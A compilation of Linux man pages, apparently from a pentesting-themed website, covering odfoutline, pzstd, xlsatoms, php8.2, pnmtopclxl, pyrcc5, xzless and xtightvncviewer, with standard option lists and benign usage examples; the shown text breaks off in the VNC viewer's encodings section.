  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

799 - Linux cli command odfoutline

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command odfoutline and provides detailed information about the command odfoutline, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the odfoutline.

NAME 🖥️ odfoutline 🖥️

Show outline of OpenDocument

SYNOPSIS

odfoutline path

DESCRIPTION

odfoutline is a simple program that will show the headings in the file and the level the heading is.

“Path” is assumed to be an OpenDocument file of text, spreadsheet or presentation type.

EXAMPLE

odfoutline odf-file

AUTHOR

Søren Roug

Original author

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

800 - Linux cli command pzstd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pzstd and provides detailed information about the command pzstd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pzstd.

NAME 🖥️ pzstd 🖥️

parallelized Zstandard compression, a la pigz

DESCRIPTION

Usage:

pzstd [args] [FILE(s)]

Parallel ZSTD options:

-p, –processes
# : number of threads to use for (de)compression (default:<numcpus>)

ZSTD options:

-#
# compression level (1-19, default:<numcpus>)
-d, –decompress
decompression

-o
file : result stored into `file` (only if 1 input file)

-f, –force
overwrite output without prompting, (de)compress links
–rm
remove source file(s) after successful (de)compression
-k, –keep
preserve source file(s) (default)
-h, –help
display help and exit
-V, –version
display version number and exit
-v, –verbose
verbose mode; specify multiple times to increase log level (default:2)
-q, –quiet
suppress warnings; specify twice to suppress errors too
-c, –stdout
write to standard output (even if it is the console)
-r
operate recursively on directories
–ultra
enable levels beyond 19, up to 22 (requires more memory)
-C, –check
integrity check (default)
–no-check
no integrity check
-t, –test
test compressed file integrity
all arguments after “–” are treated as files
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

801 - Linux cli command xlsatoms

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xlsatoms and provides detailed information about the command xlsatoms, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xlsatoms.

NAME 🖥️ xlsatoms 🖥️

list interned atoms defined on server

SYNOPSIS

xlsatoms [-options …]

DESCRIPTION

Xlsatoms lists the interned atoms. By default, all atoms starting from 1 (the lowest atom value defined by the protocol) are listed until unknown atom is found. If an explicit range is given, xlsatoms will try all atoms in the range, regardless of whether or not any are undefined.

OPTIONS

-display dpy
This option specifies the X server to which to connect.

-format string
This option specifies a printf-style string used to list each atom <value,name> pair, printed in that order (value is an unsigned long and name is a char *). Xlsatoms will supply a newline at the end of each line. The default is %lu %s.

-range [low]-[high]
This option specifies the range of atom values to check. If low is not given, a value of 1 assumed. If high is not given, xlsatoms will stop at the first undefined atom at or above low.

-name string
This option specifies the name of an atom to list. If the atom does not exist, a message will be printed on the standard error.

-version
Print out the program version and exit.

SEE ALSO

X(7), Xserver(1), xprop(1)

ENVIRONMENT

DISPLAY
to get the default host and display to use.

AUTHOR

Jim Fulton, MIT X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

802 - Linux cli command php8.2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command php8.2 and provides detailed information about the command php8.2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the php8.2.

NAME 🖥️ php8.2 🖥️

PHP Command Line Interface ‘CLI’

php-cgi - PHP Common Gateway Interface ‘CGI’ command

SYNOPSIS

php [options] [ -f ] file [[–] args. . .]

php [options] -r code [[–] args. . .]

php [options] [-B begin_code] -R code [-E end_code] [[–] args. . .]

php [options] [-B begin_code] -F file [-E end_code] [[–] args. . .]

php [options] – [ args. . .]

php [options] -a

php [options] -S addr:port [-t docroot]

DESCRIPTION

PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. This is the command line interface that enables you to do the following:

You can parse and execute files by using parameter -f followed by the name of the file to be executed.

Using parameter -r you can directly execute PHP code simply as you would do inside a .php file when using the eval() function.

It is also possible to process the standard input line by line using either the parameter -R or -F. In this mode each separate input line causes the code specified by -R or the file specified by -F to be executed. You can access the input line by $argn. While processing the input lines $argi contains the number of the actual line being processed. Further more the parameters -B and -E can be used to execute code (see -r) before and after all input lines have been processed respectively. Notice that the input is read from STDIN and therefore reading from STDIN explicitly changes the next input line or skips input lines.

PHP also contains an built-in web server for application development purpose. By using the -S option where addr:port point to a local address and port PHP will listen to HTTP requests on that address and port and serve files from the current working directory or the docroot passed by the -t option.

If a PHP file is provided to the command line when the built-in web server is used, it will be used as the router script. This script will be started at each HTTP request. The script output is returned to the browser, unless the router script returns the false value. If so, the built-in server falls back to the default behaviour, returning the requested resource as-is by looking up the files relative to the document root specified by the -t option, if provided.

If none of -r -f -B -R -F -E or -S is present but a single parameter is given then this parameter is taken as the filename to parse and execute (same as with -f). If no parameter is present then the standard input is read and executed.

OPTIONS

–interactive

-a Run PHP interactively. This lets you enter snippets of PHP code that directly get executed. When readline support is enabled you can edit the lines and also have history support.

–bindpath address:port|port

-b address:port|port Bind Path for external FASTCGI Server mode (CGI only).

–no-chdir

-C Do not chdir to the script’s directory (CGI only).

–no-header

-q Quiet-mode. Suppress HTTP header output (CGI only).

–timing count

-T count Measure execution time of script repeated count times (CGI only).

–php-ini path|file

-c path|file Look for php.ini file in the directory path or use the specified file

–no-php-ini

-n No php.ini file will be used

–define foo[=bar]

-d foo[=bar] Define INI entry foo with value bar

-e
Generate extended information for debugger/profiler

–file file

-f file Parse and execute file

–help

-h This help

–hide-args

-H Hide script name (file) and parameters (args…) from external tools. For example you may want to use this when a php script is started as a daemon and the command line contains sensitive data such as passwords.

–info

-i PHP information and configuration

–syntax-check

-l Syntax check only (lint)

–modules

-m Show compiled in modules

–run code

-r code Run PHP code without using script tags ’<?..?>’

–process-begin code

-B begin_code Run PHP begin_code before processing input lines

–process-code code

-R code Run PHP code for every input line

–process-file file

-F file Parse and execute file for every input line

–process-end code

-E end_code Run PHP end_code after processing all input lines

–syntax-highlight

-s Output HTML syntax highlighted source

–server addr:port

-S addr:port Start built-in web server on the given local address and port

–docroot docroot

-t docroot Specify the document root to be used by the built-in web server

–version

-v Version number

–strip

-w Output source with stripped comments and whitespace

–zend-extension file

-z file Load Zend extension file

args. . .
Arguments passed to script. Use ’–’ args when first argument starts with ’-’ or script is read from stdin

–rfunction name

–rf name Shows information about function name

–rclass name

–rc name Shows information about class name

–rextension name

–re name Shows information about extension name

–rzendextension name

–rz name Shows information about Zend extension name

–rextinfo name

–ri name Shows configuration for extension name

–ini
Show configuration file names

FILES

/etc/php/@PHP_MAJOR_VERSION@.@PHP_MINOR_VERSION@/cli/php.ini
The configuration file for the CLI version of PHP.

+.B /etc/php/@PHP_MAJOR_VERSION@.@PHP_MINOR_VERSION@/cgi/php.ini
+The configuration file for the CGI version of PHP. +.TP +.B /etc/php/@PHP_MAJOR_VERSION@.@PHP_MINOR_VERSION@/apache2/php.ini +The configuration file for the version of PHP that apache2 uses.

EXAMPLES

php -r ’echo “Hello World “;’
This command simply writes the text “Hello World” to standard out.

php -r ‘print_r(gd_info());’
This shows the configuration of your gd extension. You can use this to easily check which image formats you can use. If you have any dynamic modules you may want to use the same ini file that php uses when executed from your webserver. There are more extensions which have such a function. For dba use:

php -r ‘print_r(dba_handlers(1));’

php -R ’echo strip_tags($argn).” “;’
This PHP command strips off the HTML tags line by line and outputs the result. To see how it works you can first look at the following PHP command ‘php -d html_errors=1 -i’ which uses PHP to output HTML formatted configuration information. If you then combine those two ‘php …|php …’ you’ll see what happens.

php -E ’echo “Lines: $argi “;’
Using this PHP command you can count the lines being input.

php -R ‘@$l+=count(file($argn));’ -E ’echo “Lines:$l “;’
In this example PHP expects each input line being a file. It counts all lines of the files specified by each input line and shows the summarized result. You may combine this with tools like find and change the php scriptlet.

php -R ’echo “$argn “; fgets(STDIN);’
Since you have access to STDIN from within -B -R -F and -E you can skip certain input lines with your code. But note that in such cases $argi only counts the lines being processed by php itself. Having read this you will guess what the above program does: skipping every second input line.

TIPS

You can use a shebang line to automatically invoke php from scripts. Only the CLI version of PHP will ignore such a first line as shown below:

#!/bin/php

<?php

// your script

?>

SEE ALSO

For a more or less complete description of PHP look here:

http://www.php.net/manual/

BUGS

You can view the list of known bugs or report any new bug you found at:

https://github.com/php/php-src/issues

AUTHORS

The PHP Group: Thies C. Arntzen, Stig Bakken, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski.

Additional work for the CLI sapi was done by Edin Kadribasic, Marcus Boerger and Johannes Schlueter.

A List of active developers can be found here:

http://www.php.net/credits.php

And last but not least PHP was developed with the help of a huge amount of contributors all around the world.

VERSION INFORMATION

This manpage describes php, version 8.2.21.

COPYRIGHT

Copyright © The PHP Group

This source file is subject to version 3.01 of the PHP license, that is bundled with this package in the file LICENSE, and is available through the world-wide-web at the following url:

https://www.php.net/license/3_01.txt

If you did not receive a copy of the PHP license and are unable to obtain it through the world-wide-web, please send a note to [email protected] so we can mail you a copy immediately.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

803 - Linux cli command pnmtopclxl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtopclxl and provides detailed information about the command pnmtopclxl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtopclxl.

.

NAME 🖥️ pnmtopclxl 🖥️

convert a PNM image to an HP LaserJet PCL XL printer stream

SYNOPSIS

pnmtopclxl

{ [-dpi=N] [-xoffs=N] [-yoffs=N] [-center] [-duplex={vertical|horizontal}] [-format=paperformat] [-feeder=N] [-copies=N] [-rendergray] [**-jobsetup=**filename]

| -embedded

} [-colorok] pnmfile1 pnmfile2

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pnmtopclxl reads one or more PNM input streams, each containing one or more PNM images, and generates a sequence of output pages in the HP PCL-XL (formerly named PCL 6) printer control language. You can send this stream to a PCL-XL printer to print the images.

Alternatively, you can make pnmtopclxl generate just the PCL-XL instructions to print an image, which you can embed in your own PCL-XL stream to place an image on one of your pages. (-embedded option).

If the input is PPM, the output is a color printer stream (the PCL color space is RGB). Otherwise, the output is grayscale (the PCL color space is grayscale). If you want a grayscale output from a color input, run your input through ppmtopgm(1) . See the -colorok option for more information about choosing between color and grayscale.

The output goes to Standard Output. All of the pages go to one file, concatenated in the same order as the input images.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmtopclxl recognizes the following command line options:

**-dpi=**N
This option selects the resolution of the image (not the printer!). N is the resolution in dots per inch, from 1 to 65535. The default is 300.

**-xoffs=**N
This option and -yoffs determine the location on the page of the upper left corner of each image. Note that the image may have built in borders too, which would make the main image within more left and down that what you specify here.

-xoffs and -yoffs specify the distance from the left of the page and from the top of the page, respectively, in inches, of the upper left corner of the image. The default for each is zero.

These options are meaningless if you specify -center.

-yoffs N
See -xoffs.

-center
This option tells pnmtopclxl to center each image on the page. If you don’t specify this option, the position of an image on the page is determined by -xoffs and -yoffs (or their defaults).

-duplex={vertical|horizontal}
This option causes pnmtopclxl to create a printer stream that prints pages on both sides of the sheet of paper. vertical means to print them so that the left edge of both pages is on the same edge of the sheet, while horizontal means the more usual duplexing where the top of both pages is on the same edge of the sheet.

**-format=**paperformat
This option selects the media (e.g. paper size) that the printer control stream specifies. paperformat is one of the following self-explanatory keywords:

  • letter

  • legal

  • a3

  • a4

  • a5

  • a6

  • jb4

  • jb5

  • jb6

  • exec

  • ledger

  • b5envelope

  • c5envelope

  • com10envelope

  • monarchenvelope

  • dlenvelope

  • jpostcard

  • jdoublepostcard

The default is letter.

**-feeder=**N
This options selects the media source (e.g. paper tray) that the printer control stream specifies.

**-copies=**N
This option specifies the number of copies that the printer control stream tells the printer to print.

-rendergray
This option causes pnmtopclxl to include in the output stream a command to set the RENDERMODE environment variable to GRAYSCALE, which typically causes the printer to print in grayscale regardless of the colors in the input, and may cause it to run much faster even if the image is grayscale anyway.

This option was new in Netpbm 10.29 (August 2005).

**-jobsetup=**filename
This option causes pnmtopclxl to include arbitrary job setup PJL commands at the beginning of the output stream. It reads them from the named file.

pnmtopclxl does not inspect these commands in any way, but it does expect them to be job setup commands. If you have garbage in your file, you will hear from the printer.

This option was new in Netpbm 10.29 (August 2005).

-colorok
This option simply tells pnmtopclxl not to warn you if you supply a color input and therefore get color output. By default, pnmtopclxl issues a warning any time it produces a color printer stream because it is usually a mistake. It’s a mistake because PCL XL is mainly used for laser printers, and laser printers are mainly black and white. If you send a color print stream to a black and white printer, it typically refuses to print anything, and even if it manages to convert it to black and white and print it, it takes 3 times as long to transmit a color stream to the printer than to transmit the grayscale image that gives the same result.

-embedded
Without this option, pnmtopclxl generates an entire printer control stream that sets up the printer, ejects pages, and places a lone image on each page. With the option, pnmtopclxl generates only the instructions to generate the image itself. This is not useful all by itself, but you can embed it in a suitable PCL-XL stream in order to add an image to it.

This makes sense only for a single image, so you cannot specify multiple input files and if an input file has multiple images in it, pnmtopclxl ignores any after the first (it won’t even read them).

All the options that control the printer control stream outside the image itself, such as -xoffs and -feeder are invalid with -embedded.

This option was new in Netpbm 10.54 (March 2011).

SEE ALSO

ppmtolj(1) , pbmtolj(1) , ppmtopj(1) , ppmtopjxl(1) , thinkjettopbm(1) , ppm(1)

HISTORY

pnmtopclxl was added to Netpbm in Release 10.6 (July 2002). It was contributed by Jochen Karrer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtopclxl.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

804 - Linux cli command pyrcc5

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pyrcc5 and provides detailed information about the command pyrcc5, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pyrcc5.

NAME 🖥️ pyrcc5 🖥️

compile Qt resource files for PyQt5 applications

SYNOPSIS

pyrcc5 [OPTION]… FILES

DESCRIPTION

pyrcc5 takes a Qt Resource File (.qrc) and converts it into a Python module which can be imported into a PyQt5 application. All files loaded by Qt that are prefixed with a colon will be loaded from the resources rather than the file system.

OPTIONS

-help
Show a summary of the options.

-version
Display the version number and exit.

-o FILE
Write the generated output to FILE instead of stdout.

-threshold LEVEL
Set the threshold above which files should be compressed.

-compress LEVEL
Set the compression level for all input files.

-root PATH
Search all resource referenced in a .qrc file under PATH.

-no-compress
Do not compress the resource files at all.

AUTHOR

This manual page was written for Debian GNU/Linux by Torsten Marek <[email protected]>, but may freely be used by others.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

805 - Linux cli command xzless

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xzless and provides detailed information about the command xzless, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xzless.

NAME 🖥️ xzless 🖥️

view xz or lzma compressed (text) files

SYNOPSIS

xzless [file…]
lzless [file…]

DESCRIPTION

xzless is a filter that displays text from compressed files to a terminal. Files supported by xz(1) are decompressed; other files are assumed to be in uncompressed form already. If no files are given, xzless reads from standard input.

xzless uses less(1) to present its output. Unlike xzmore, its choice of pager cannot be altered by setting an environment variable. Commands are based on both more(1) and vi(1) and allow back and forth movement and searching. See the less(1) manual for more information.

The command named lzless is provided for backward compatibility with LZMA Utils.

ENVIRONMENT

LESSMETACHARS
A list of characters special to the shell. Set by xzless unless it is already set in the environment.

LESSOPEN
Set to a command line to invoke the xz(1) decompressor for preprocessing the input files to less(1).

SEE ALSO

less(1), xz(1), xzmore(1), zless(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

806 - Linux cli command xtightvncviewer

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xtightvncviewer and provides detailed information about the command xtightvncviewer, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xtightvncviewer.

NAME 🖥️ xtightvncviewer 🖥️

an X viewer client for VNC

SYNOPSIS

vncviewer [ options ] [ host ][ :display ]
vncviewer [ options ] [ host ][ ::port ]
vncviewer [ options ] -listen [ display ]
vncviewer -help

DESCRIPTION

vncviewer is an Xt-based client application for the VNC (Virtual Network Computing) system. It can connect to any VNC-compatible server such as Xvnc or WinVNC, allowing you to control desktop environment of a different machine.

You can use F8 to display a pop-up utility menu. Press F8 twice to pass single F8 to the remote side.

OPTIONS

-help
Prints a short usage notice to stderr.

-listen
Make the viewer listen on port 5500+display for reverse connections from a server. WinVNC supports reverse connections using the “Add New Client” menu option, or the -connect command line option. Xvnc requires the use of the helper program vncconnect.

-via gateway
Automatically create encrypted TCP tunnel to the gateway machine before connection, connect to the host through that tunnel (TightVNC-specific). By default, this option invokes SSH local port forwarding, assuming that SSH client binary can be accessed as /usr/bin/ssh. Note that when using the -via option, the host machine name should be specified as known to the gateway machine, e.g. “localhost” denotes the gateway, not the machine where vncviewer was launched. See the ENVIRONMENT section below for the information on configuring the -via option.

-shared
When connecting, specify that a shared connection is requested. In TightVNC, this is the default mode, allowing you to share the desktop with other clients already using it.

-noshared
When connecting, specify that the session may not be shared. This would either disconnect other connected clients or refuse your connection, depending on the server configuration.

-viewonly
Disable transfer of mouse and keyboard events from the client to the server.

-fullscreen
Start in full-screen mode. Please be aware that operating in full-screen mode may confuse X window managers. Typically, such conflicts cause incorrect handling of input focus or make the viewer window disappear mysteriously. See the grabKeyboard setting in the RESOURCES section below for a method to solve input focus problem.

-noraiseonbeep
By default, the viewer shows and raises its window on remote beep (bell) event. This option disables such behaviour (TightVNC-specific).

-passwd passwd-file
File from which to get the password (as generated by the vncpasswd(1) program). This option affects only the standard VNC authentication.

-encodings encoding-list
TightVNC supports several different compression methods to encode screen updates; this option specifies a set of them to use in order of preference. Encodings are specified separated with spaces, and must thus be enclosed in quotes if more than one is specified. Available encodings, in default order for a remote connection, are “copyrect tight hextile zlib corre rre raw”. For a local connection (to the same machine), the default order to try is “raw copyrect tight hextile zlib corre rre”. Raw encoding is always assumed as a last option if no other encoding can be used for some reason. For more information on encodings, see the section ENCODINGS below.

-bgr233
Always use the BGR233 format to encode pixel data. This reduces network traffic, but colors may be represented inaccurately. The bgr233 format is an 8-bit “true color” format, with 2 bits blue, 3 bits green, and 3 bits red.

-owncmap
Try to use a PseudoColor visual and a private colormap. This allows the VNC server to control the colormap.

-truecolour, -truecolor
Try to use a TrueColor visual.

-depth depth
On an X server which supports multiple TrueColor visuals of different depths, attempt to use the specified one (in bits per pixel); if successful, this depth will be requested from the VNC server.

-compresslevel level
Use specified compression level (0..9) for “tight” and “zlib” encodings (TightVNC-specific). Level 1 uses minimum of CPU time and achieves weak compression ratios, while level 9 offers best compression but is slow in terms of CPU time consumption on the server side. Use high levels with very slow network connections, and low levels when working over high-speed LANs. It’s not recommended to use compression level 0, reasonable choices start from the level 1.

-quality level
Use the specified JPEG quality level (0..9) for the “tight” encoding (TightVNC-specific). Quality level 0 denotes bad image quality but very impressive compression ratios, while level 9 offers very good image quality at lower compression ratios. Note that the “tight” encoder uses JPEG to encode only those screen areas that look suitable for lossy compression, so quality level 0 does not always mean unacceptable image quality.

-nojpeg
Disable lossy JPEG compression in Tight encoding (TightVNC-specific). Disabling JPEG compression is not a good idea in typical cases, as that makes the Tight encoder less efficient. You might want to use this option if it’s absolutely necessary to achieve perfect image quality (see also the -quality option).

-nocursorshape
Disable cursor shape updates, protocol extensions used to handle remote cursor movements locally on the client side (TightVNC-specific). Using cursor shape updates decreases delays with remote cursor movements, and can improve bandwidth usage dramatically.

-x11cursor
Use a real X11 cursor with X-style cursor shape updates, instead of drawing the remote cursor on the framebuffer. This option also disables the dot cursor, and disables cursor position updates in non-fullscreen mode.

-autopass
Read a plain-text password from stdin. This option affects only the standard VNC authentication.

ENCODINGS

The server supplies information in whatever format is desired by the client, in order to make the client as easy as possible to implement. If the client represents itself as able to use multiple formats, the server will choose one.

Pixel format refers to the representation of an individual pixel. The most common formats are 24 and 16 bit “true-color” values, and 8-bit “color map” representations, where an arbitrary map converts the color number to RGB values.

Encoding refers to how a rectangle of pixels are sent (all pixel information in VNC is sent as rectangles). All rectangles come with a header giving the location and size of the rectangle and an encoding type used by the data which follows. These types are listed below.

Raw
The raw encoding simply sends width*height pixel values. All clients are required to support this encoding type. Raw is also the fastest when the server and viewer are on the same machine, as the connection speed is essentially infinite and raw encoding minimizes processing time.

CopyRect
The Copy Rectangle encoding is efficient when something is being moved; the only data sent is the location of a rectangle from which data should be copied to the current location. Copyrect could also be used to efficiently transmit a repeated pattern.

RRE
The Rise-and-Run-length-Encoding is basically a 2D version of run-length encoding (RLE). In this encoding, a sequence of identical pixels are compressed to a single value and repeat count. In VNC, this is implemented with a background color, and then specifications of an arbitrary number of subrectangles and color for each. This is an efficient encoding for large blocks of constant color.

CoRRE
This is a minor variation on RRE, using a maximum of 255x255 pixel rectangles. This allows for single-byte values to be used, reducing packet size. This is in general more efficient, because the savings from sending 1-byte values generally outweighs the losses from the (relatively rare) cases where very large regions are painted the same color.

Hextile
Here, rectangles are split up in to 16x16 tiles, which are sent in a predetermined order. The data within the tiles is sent either raw or as a variant on RRE. Hextile encoding is usually the best choice for using in high-speed network environments (e.g. Ethernet local-area networks).

Zlib
Zlib is a very simple encoding that uses zlib library to compress raw pixel data. This encoding achieves good compression, but consumes a lot of CPU time. Support for this encoding is provided for compatibility with VNC servers that might not understand Tight encoding which is more efficient than Zlib in nearly all real-life situations.

Tight
